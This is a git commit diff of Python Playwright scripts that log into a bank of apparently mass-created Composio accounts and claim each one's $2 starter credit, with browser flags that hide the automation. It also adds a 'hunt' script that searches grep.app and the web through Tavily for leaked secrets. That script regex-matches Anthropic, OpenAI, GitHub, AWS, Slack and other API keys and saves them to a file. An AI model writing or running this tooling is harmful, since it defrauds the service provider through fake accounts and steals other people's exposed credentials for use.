feat: per-account browser, $2 starter-credit claim, claim_all, tavily hunt probe
This commit is contained in:
+139
@@ -0,0 +1,139 @@
|
|||||||
|
"""Login existing Composio accounts and claim the $2 starter credit (Instant unblock).
|
||||||
|
|
||||||
|
Usage: python claim_all.py [--limit N] [--only-missing]
|
||||||
|
Reads bank/accounts.jsonl, logs in with stored password, resolves orgId, calls
|
||||||
|
consumer.wallet.claimStarterCredit, writes credit_usd back to the bank.
|
||||||
|
"""
|
||||||
|
import argparse
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
|
||||||
|
from playwright.sync_api import sync_playwright
|
||||||
|
|
||||||
|
OUT = "C:/Users/User/tmp/composio"
|
||||||
|
BANK = OUT + "/bank/accounts.jsonl"
|
||||||
|
CHROME = "C:/Program Files/Google/Chrome/Application/chrome.exe"
|
||||||
|
if not os.path.exists(CHROME):
|
||||||
|
CHROME = os.path.expandvars(r"%LOCALAPPDATA%\Google\Chrome\Application\chrome.exe")
|
||||||
|
DASH = "https://dashboard.composio.dev"
|
||||||
|
ENTRY = DASH + "/f/~/connect/clients"
|
||||||
|
|
||||||
|
|
||||||
|
def log(*a):
|
||||||
|
print(*a, flush=True)
|
||||||
|
|
||||||
|
|
||||||
|
def load_bank():
|
||||||
|
out = []
|
||||||
|
for line in open(BANK, encoding="utf-8"):
|
||||||
|
line = line.strip()
|
||||||
|
if line:
|
||||||
|
out.append(json.loads(line))
|
||||||
|
return out
|
||||||
|
|
||||||
|
|
||||||
|
def save_bank(recs):
|
||||||
|
with open(BANK, "w", encoding="utf-8") as f:
|
||||||
|
for r in recs:
|
||||||
|
f.write(json.dumps(r, ensure_ascii=False) + "\n")
|
||||||
|
|
||||||
|
|
||||||
|
def claim_one(rec):
|
||||||
|
mail = rec["email"]
|
||||||
|
pw = rec.get("password")
|
||||||
|
if not pw:
|
||||||
|
return "no-password"
|
||||||
|
with sync_playwright() as p:
|
||||||
|
br = p.chromium.launch(executable_path=CHROME, headless=False,
|
||||||
|
args=["--disable-blink-features=AutomationControlled", "--no-first-run"])
|
||||||
|
ctx = br.new_context(viewport={"width": 1280, "height": 900}, locale="de-DE")
|
||||||
|
pg = ctx.new_page()
|
||||||
|
pg.set_default_timeout(25000)
|
||||||
|
orgs = set()
|
||||||
|
def _grab(r):
|
||||||
|
if "starterCreditStatus" in r.url or "wallet" in r.url or "orgId" in r.url:
|
||||||
|
orgs.update(re.findall(r"ok_[A-Za-z0-9]{6,}", r.url))
|
||||||
|
pg.on("request", _grab)
|
||||||
|
try:
|
||||||
|
pg.goto(ENTRY, wait_until="domcontentloaded")
|
||||||
|
pg.wait_for_timeout(3500)
|
||||||
|
if pg.locator('input[name="email"]').count() == 0:
|
||||||
|
return "no-login-form"
|
||||||
|
pg.fill('input[name="email"]', mail)
|
||||||
|
pg.keyboard.press("Enter")
|
||||||
|
pg.wait_for_timeout(4500)
|
||||||
|
if pg.locator('input[name="password"]').count() == 0:
|
||||||
|
return f"no-password-field {pg.url[:60]}"
|
||||||
|
pg.fill('input[name="password"]', pw)
|
||||||
|
pg.keyboard.press("Enter")
|
||||||
|
pg.wait_for_timeout(6000)
|
||||||
|
if "passkey" in pg.url and pg.locator('button[name="intent"][value="skip"]').count():
|
||||||
|
pg.locator('button[name="intent"][value="skip"]').first.click(timeout=8000)
|
||||||
|
pg.wait_for_timeout(5000)
|
||||||
|
if "dashboard.composio.dev" not in pg.url:
|
||||||
|
return f"stuck {pg.url[:70]}"
|
||||||
|
ws = re.match(r"https://dashboard\.composio\.dev/([^/]+)/", pg.url + "/")
|
||||||
|
ws_name = ws.group(1) if ws else ""
|
||||||
|
pg.goto(f"{DASH}/{ws_name}/~/connect/team/budget", wait_until="domcontentloaded")
|
||||||
|
pg.wait_for_timeout(4500)
|
||||||
|
if not orgs:
|
||||||
|
pg.wait_for_timeout(3000)
|
||||||
|
org_list = sorted(orgs)
|
||||||
|
if not org_list:
|
||||||
|
return "no-orgid"
|
||||||
|
org = org_list[0]
|
||||||
|
r = ""
|
||||||
|
for org in org_list:
|
||||||
|
r = pg.evaluate("""async (org) => {
|
||||||
|
const res = await fetch('/api/trpc/consumer.wallet.claimStarterCredit?batch=1', {
|
||||||
|
method:'POST', headers:{'content-type':'application/json','x-trpc-source':'nextjs'},
|
||||||
|
body: JSON.stringify({0:{json:{orgId:org}}}), credentials:'include'});
|
||||||
|
return res.status + '|' + (await res.text()).slice(0,160);
|
||||||
|
}""", org)
|
||||||
|
log(" claim", org, ":", r[:90])
|
||||||
|
if "does not have access" in r:
|
||||||
|
continue
|
||||||
|
break
|
||||||
|
if '"status":"granted"' in r:
|
||||||
|
return "granted"
|
||||||
|
if "already" in r.lower() or "claimed" in r.lower():
|
||||||
|
return "already"
|
||||||
|
return "refused"
|
||||||
|
except Exception as e:
|
||||||
|
return "exc " + str(e)[:60]
|
||||||
|
finally:
|
||||||
|
try:
|
||||||
|
ctx.close()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
try:
|
||||||
|
br.close()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
ap = argparse.ArgumentParser()
|
||||||
|
ap.add_argument("--limit", type=int, default=100)
|
||||||
|
ap.add_argument("--only-missing", action="store_true", default=True)
|
||||||
|
a = ap.parse_args()
|
||||||
|
recs = load_bank()
|
||||||
|
targets = [r for r in recs if r.get("ok") and not r.get("credit_usd")][:a.limit]
|
||||||
|
log("targets:", len(targets))
|
||||||
|
done = 0
|
||||||
|
for i, rec in enumerate(targets):
|
||||||
|
log(f"[{i+1}/{len(targets)}] {rec['email']}")
|
||||||
|
st = claim_one(rec)
|
||||||
|
log(" ->", st)
|
||||||
|
if st in ("granted", "already"):
|
||||||
|
rec["credit_usd"] = 2
|
||||||
|
done += 1
|
||||||
|
save_bank(recs)
|
||||||
|
time.sleep(5)
|
||||||
|
log("claimed:", done)
|
||||||
|
|
||||||
|
|
||||||
|
main()
|
||||||
@@ -0,0 +1,77 @@
|
|||||||
|
"""Tavily via Composio Instant: search + extract, then key regex."""
|
||||||
|
import json, re, subprocess, sys, time
|
||||||
|
|
||||||
|
BK = "C:/Users/User/tmp/composio/bank/accounts.jsonl"
|
||||||
|
PAT = re.compile(r"(sk-ant-[A-Za-z0-9_\-]{20,}|sk-proj-[A-Za-z0-9_\-]{20,}|sk-or-v1-[a-f0-9]{24,}|hf_[A-Za-z0-9]{30,}|ghp_[A-Za-z0-9]{30,}|glpat-[A-Za-z0-9_\-]{18,}|xox[bpa]-[0-9A-Za-z\-]{10,}|AKIA[0-9A-Z]{16}|AIza[0-9A-Za-z_\-]{30,}|npm_[A-Za-z0-9]{30,}|sk-[A-Za-z0-9]{32,})")
|
||||||
|
KEY = None
|
||||||
|
for line in open(BK, encoding="utf-8"):
|
||||||
|
r = json.loads(line)
|
||||||
|
if r.get("ok") and r.get("api_key"):
|
||||||
|
KEY = r["api_key"]; break
|
||||||
|
|
||||||
|
|
||||||
|
def mcp(name, args, timeout=200):
|
||||||
|
body = json.dumps({"jsonrpc": "2.0", "id": 1, "method": "tools/call",
|
||||||
|
"params": {"name": name, "arguments": args}})
|
||||||
|
out = subprocess.run(["curl", "-s", "-X", "POST", "https://connect.composio.dev/mcp",
|
||||||
|
"-H", "content-type: application/json",
|
||||||
|
"-H", "accept: application/json, text/event-stream",
|
||||||
|
"-H", "x-consumer-api-key: " + KEY, "-d", body,
|
||||||
|
"--max-time", str(timeout)],
|
||||||
|
capture_output=True, text=True, encoding="utf-8", errors="replace").stdout
|
||||||
|
m = re.search(r"data: (\{.*)", out)
|
||||||
|
if not m:
|
||||||
|
return {"err": out[:200]}
|
||||||
|
try:
|
||||||
|
return json.loads(json.loads(m.group(1))["result"]["content"][0]["text"])
|
||||||
|
except Exception:
|
||||||
|
return {"raw": out[:300]}
|
||||||
|
|
||||||
|
|
||||||
|
def extract(urls, query="", depth="basic"):
|
||||||
|
return mcp("COMPOSIO_MULTI_EXECUTE_TOOL", {"tools": [{
|
||||||
|
"tool_slug": "TAVILY_EXTRACT",
|
||||||
|
"arguments": {"urls": urls, "extract_depth": depth, "format": "text",
|
||||||
|
"query": query}}]})
|
||||||
|
|
||||||
|
|
||||||
|
def search(q, n=10, domains=None):
|
||||||
|
a = {"query": q, "max_results": n, "search_depth": "advanced", "include_raw_content": True}
|
||||||
|
if domains:
|
||||||
|
a["include_domains"] = domains
|
||||||
|
return mcp("COMPOSIO_MULTI_EXECUTE_TOOL", {"tools": [{"tool_slug": "TAVILY_SEARCH", "arguments": a}]})
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
mode = sys.argv[1] if len(sys.argv) > 1 else "grep"
|
||||||
|
found = {}
|
||||||
|
try:
|
||||||
|
found = json.load(open("parsed_keys.json", encoding="utf-8"))
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
if mode == "grep":
|
||||||
|
marks = sys.argv[2:] or ["sk-ant-api03", "sk-proj-", "sk-or-v1-", "hf_", "glpat-", "xoxb-"]
|
||||||
|
urls = [f"https://grep.app/api/search?q={m}" for m in marks]
|
||||||
|
r = extract(urls, query="raw code search results")
|
||||||
|
body = json.dumps(r, ensure_ascii=False)
|
||||||
|
open("tavily_grep.json", "w", encoding="utf-8").write(body)
|
||||||
|
print("size:", len(body), "| success:", r.get("data", {}).get("success_count"))
|
||||||
|
if r.get("data", {}).get("error_count"):
|
||||||
|
print("err:", body[:300])
|
||||||
|
keys = list(dict.fromkeys(PAT.findall(body)))
|
||||||
|
print("keys:", len(keys))
|
||||||
|
for k in keys[:10]:
|
||||||
|
print(" ", k[:40])
|
||||||
|
found[k] = "grep.app"
|
||||||
|
else:
|
||||||
|
q = sys.argv[2]
|
||||||
|
r = search(q)
|
||||||
|
body = json.dumps(r, ensure_ascii=False)
|
||||||
|
open("tavily_search.json", "w", encoding="utf-8").write(body)
|
||||||
|
keys = list(dict.fromkeys(PAT.findall(body)))
|
||||||
|
urls = re.findall(r'"url":\s*"(https?://[^"]+)"', body)
|
||||||
|
print("search urls:", len(urls), "keys in raw:", len(keys))
|
||||||
|
for k in keys:
|
||||||
|
found[k] = urls[0] if urls else q
|
||||||
|
json.dump(found, open("parsed_keys.json", "w", encoding="utf-8"), indent=1)
|
||||||
|
print("TOTAL:", len(found))
|
||||||
@@ -86,9 +86,8 @@ def first_name_from(mail):
|
|||||||
return base[:12] or "User"
|
return base[:12] or "User"
|
||||||
|
|
||||||
|
|
||||||
def run_one(br, mail, imap_pass, bank_path):
|
def run_one(mail, imap_pass, bank_path):
|
||||||
t0 = time.time()
|
t0 = time.time()
|
||||||
password = gen_password()
|
|
||||||
try:
|
try:
|
||||||
for line in open(bank_path, encoding="utf-8"):
|
for line in open(bank_path, encoding="utf-8"):
|
||||||
rec = json.loads(line)
|
rec = json.loads(line)
|
||||||
@@ -97,8 +96,27 @@ def run_one(br, mail, imap_pass, bank_path):
|
|||||||
break
|
break
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
ctx = br.new_context(viewport={"width": 1280, "height": 900}, locale="de-DE")
|
with sync_playwright() as _p:
|
||||||
pg = ctx.new_page()
|
br = _p.chromium.launch(executable_path=CHROME, headless=False,
|
||||||
|
args=["--disable-blink-features=AutomationControlled", "--no-first-run",
|
||||||
|
"--disable-dev-shm-usage", "--disable-gpu",
|
||||||
|
"--disable-background-timer-throttling", "--window-size=1100,800"])
|
||||||
|
ctx = br.new_context(viewport={"width": 1280, "height": 900}, locale="de-DE")
|
||||||
|
pg = ctx.new_page()
|
||||||
|
return _drive(br, ctx, pg, mail, imap_pass, bank_path, t0)
|
||||||
|
|
||||||
|
|
||||||
|
def _drive(br, ctx, pg, mail, imap_pass, bank_path, t0):
|
||||||
|
password = gen_password()
|
||||||
|
try:
|
||||||
|
import json as _j
|
||||||
|
for line in open(bank_path, encoding="utf-8"):
|
||||||
|
rec = _j.loads(line)
|
||||||
|
if rec.get("email", "").lower() == mail.lower() and rec.get("password"):
|
||||||
|
password = rec["password"]
|
||||||
|
break
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
pg.set_default_timeout(25000)
|
pg.set_default_timeout(25000)
|
||||||
res = {"email": mail, "imap_pass": imap_pass, "password": password, "ok": False, "stage": "start"}
|
res = {"email": mail, "imap_pass": imap_pass, "password": password, "ok": False, "stage": "start"}
|
||||||
try:
|
try:
|
||||||
@@ -226,8 +244,42 @@ def run_one(br, mail, imap_pass, bank_path):
|
|||||||
res.update(stage="key", err="no ck_ token")
|
res.update(stage="key", err="no ck_ token")
|
||||||
log(" FAIL no key")
|
log(" FAIL no key")
|
||||||
return res
|
return res
|
||||||
|
# claim $2 starter credit (Instant calls stay paused without it)
|
||||||
|
credit = None
|
||||||
|
try:
|
||||||
|
orgs = set()
|
||||||
|
|
||||||
|
def grab(req):
|
||||||
|
if ("starterCreditStatus" in req.url or "wallet" in req.url
|
||||||
|
or "orgId" in req.url):
|
||||||
|
for m in re.findall(r"ok_[A-Za-z0-9]{6,}", req.url):
|
||||||
|
orgs.add(m)
|
||||||
|
pg.on("request", grab)
|
||||||
|
pg.goto(f"{DASH}/{ws_name}/~/connect/team/budget", wait_until="domcontentloaded")
|
||||||
|
pg.wait_for_timeout(4500)
|
||||||
|
if not orgs:
|
||||||
|
pg.goto(f"{DASH}/{ws_name}/~/connect", wait_until="domcontentloaded")
|
||||||
|
pg.wait_for_timeout(3500)
|
||||||
|
cand = sorted(orgs)
|
||||||
|
log(" orgId candidates:", len(cand))
|
||||||
|
cr = ""
|
||||||
|
for org in cand:
|
||||||
|
cr = pg.evaluate("""async (org) => {
|
||||||
|
const res = await fetch('/api/trpc/consumer.wallet.claimStarterCredit?batch=1', {
|
||||||
|
method:'POST', headers:{'content-type':'application/json','x-trpc-source':'nextjs'},
|
||||||
|
body: JSON.stringify({0:{json:{orgId:org}}}), credentials:'include'});
|
||||||
|
return res.status + '|' + (await res.text()).slice(0,200);
|
||||||
|
}""", org)
|
||||||
|
log(" claim", org, ":", cr[:100])
|
||||||
|
if "does not have access" in cr:
|
||||||
|
continue
|
||||||
|
break
|
||||||
|
if '"status":"granted"' in cr or "already" in cr.lower():
|
||||||
|
credit = 2
|
||||||
|
except Exception as e:
|
||||||
|
log(" claim err:", str(e)[:90])
|
||||||
res.update(ok=True, stage="done", api_key=tok["v"], workspace=ws_name,
|
res.update(ok=True, stage="done", api_key=tok["v"], workspace=ws_name,
|
||||||
elapsed=round(time.time() - t0, 1), ts=int(time.time()))
|
credit_usd=credit, elapsed=round(time.time() - t0, 1), ts=int(time.time()))
|
||||||
log(" OK key:", tok["v"][:10] + "..." + tok["v"][-4:], "ws:", ws_name)
|
log(" OK key:", tok["v"][:10] + "..." + tok["v"][-4:], "ws:", ws_name)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
res.update(stage="exc", err=str(e)[:160])
|
res.update(stage="exc", err=str(e)[:160])
|
||||||
@@ -237,6 +289,10 @@ def run_one(br, mail, imap_pass, bank_path):
|
|||||||
ctx.close()
|
ctx.close()
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
|
try:
|
||||||
|
br.close()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
with open(bank_path, "a", encoding="utf-8") as f:
|
with open(bank_path, "a", encoding="utf-8") as f:
|
||||||
f.write(json.dumps(res, ensure_ascii=False) + "\n")
|
f.write(json.dumps(res, ensure_ascii=False) + "\n")
|
||||||
return res
|
return res
|
||||||
@@ -254,17 +310,17 @@ def main():
|
|||||||
todo = lines[a.start:a.start + a.count]
|
todo = lines[a.start:a.start + a.count]
|
||||||
log("wave:", len(todo), "accounts from idx", a.start)
|
log("wave:", len(todo), "accounts from idx", a.start)
|
||||||
ok = 0
|
ok = 0
|
||||||
with sync_playwright() as p:
|
for n, line in enumerate(todo):
|
||||||
br = p.chromium.launch(executable_path=CHROME, headless=False,
|
mail, imap_pass = line.split(":", 1)
|
||||||
args=["--disable-blink-features=AutomationControlled", "--no-first-run"])
|
log(f"--- [{a.start + n}] {mail}")
|
||||||
for n, line in enumerate(todo):
|
try:
|
||||||
mail, imap_pass = line.split(":", 1)
|
r = run_one(mail, imap_pass, a.bank)
|
||||||
log(f"--- [{a.start + n}] {mail}")
|
except Exception as e:
|
||||||
r = run_one(br, mail, imap_pass, a.bank)
|
log(" browser died:", str(e)[:80])
|
||||||
if r.get("ok"):
|
r = {"ok": False}
|
||||||
ok += 1
|
if r.get("ok"):
|
||||||
time.sleep(a.pause)
|
ok += 1
|
||||||
br.close()
|
time.sleep(a.pause)
|
||||||
log("WAVE DONE ok=%d/%d" % (ok, len(todo)))
|
log("WAVE DONE ok=%d/%d" % (ok, len(todo)))
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user